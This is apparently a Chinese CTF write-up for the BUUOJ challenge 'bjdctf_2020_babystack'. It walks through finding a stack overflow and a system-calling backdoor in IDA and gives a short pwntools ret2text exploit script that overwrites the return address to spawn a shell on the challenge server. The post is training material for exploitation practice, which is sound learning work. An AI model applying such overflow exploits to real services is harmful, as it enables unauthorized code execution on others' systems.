当前位置:网站首页>bjdctf_2020_babystack
bjdctf_2020_babystack
2022-07-23 23:28:00 【长街395】
一、查看文件


64位,保护基本未开
二、IDA反编译
我们放到ida 中再看看代码
初步判断栈溢出
接着看有个backdoor函数:
有个system系统调用函数,
栈溢出实捶
我们找到command地址
buf 10字节就可以溢出

所以可以构造代码了。
三、代码
from pwn import*
from LibcSearcher import *
r=remote("node4.buuoj.cn",25122)
p=b"a"*(0x10+0x08)+p64(0x4006e6)
r.sendline(str(len(p) + 1))
r.recvuntil('name?')
r.sendline(p)
r.interactive()


总结
虽然只是一道基础的栈溢出题目,我其实很激动,因为其他的博客里我多多少少是参照了其他大佬的思维,这道题,也算证明了菜狗子的训练是有效的,起码碰到类似的题目也可以尝试做了。嘻嘻,加油吧。
边栏推荐
- Raspberry pie SSH login
- C # introductory series (XXVIII) -- query syntax of LINQ
- [tensorflow] check whether tensorflow GPU is available
- 一,数字逻辑的化简
- strncat() strncmp()
- How are you preparing for the Android golden nine silver ten interview? The latest Android Interview Questions Summary helps you prepare for the war
- Basic operations of AutoCAD
- ES6 other syntax and extended syntax summary
- Detailed explanation of pseudo instructions in assembly language (with examples)
- Remember an experience of being cheated by the Internet
猜你喜欢

Raspberry pie SSH login

Mobile, telecom and Unicom: fancy solution of 5g to B

strncat() strncmp()

Stm32f4 check the frequency of each part of the system

ES6 other syntax and extended syntax summary

在openEuler社区开源的Embedded SIG,来聊聊它的多 OS 混合部署框架

【Error】TypeError: expected str, bytes or os. PathLike object, not int

Principal component analysis (matlab)
![[ CTF ]天格战队WriteUp-首届数字空间安全攻防大赛(初赛)](/img/61/5547822b782043672b626f6b86d304.png)
[ CTF ]天格战队WriteUp-首届数字空间安全攻防大赛(初赛)

Arrayslist and sequence table -- Simulation Implementation
随机推荐
This article will show you what typescript is
Contemporary inspirational "women"
Lu Xia action | Source Kai Digital: Existing Mode or open source innovation?
Stm32mp1 M4 bare metal cubeide Development Guide Chapter 6 stm32cube firmware package
Baidu editor uploads pictures and sets custom directories
Lin Zhiying's injury is relatively stable
USB to can device in nucleic acid extractor high performance USB interface can card
PHP(2)
Getting started database Days1
The canfd/can interface offline burning operation instructions of h7-tool have been updated (2022-07-12)
dried food! Implicit sparse regularization effect in neural networks
EasyNVR平台如何关闭匿名登录?
一,数字逻辑的化简
砺夏行动 2022|源启数字化圆桌论坛即将上线
strncat() strncmp()
The most complete 2022 Android interview questions in history
TAP 系列文章5 | 云原生构建服务
At the forefront of the times, Huawei aims at the wind and sea of digital finance
TAP 系列文章9 | 应用开发加速器
anchor free yolov1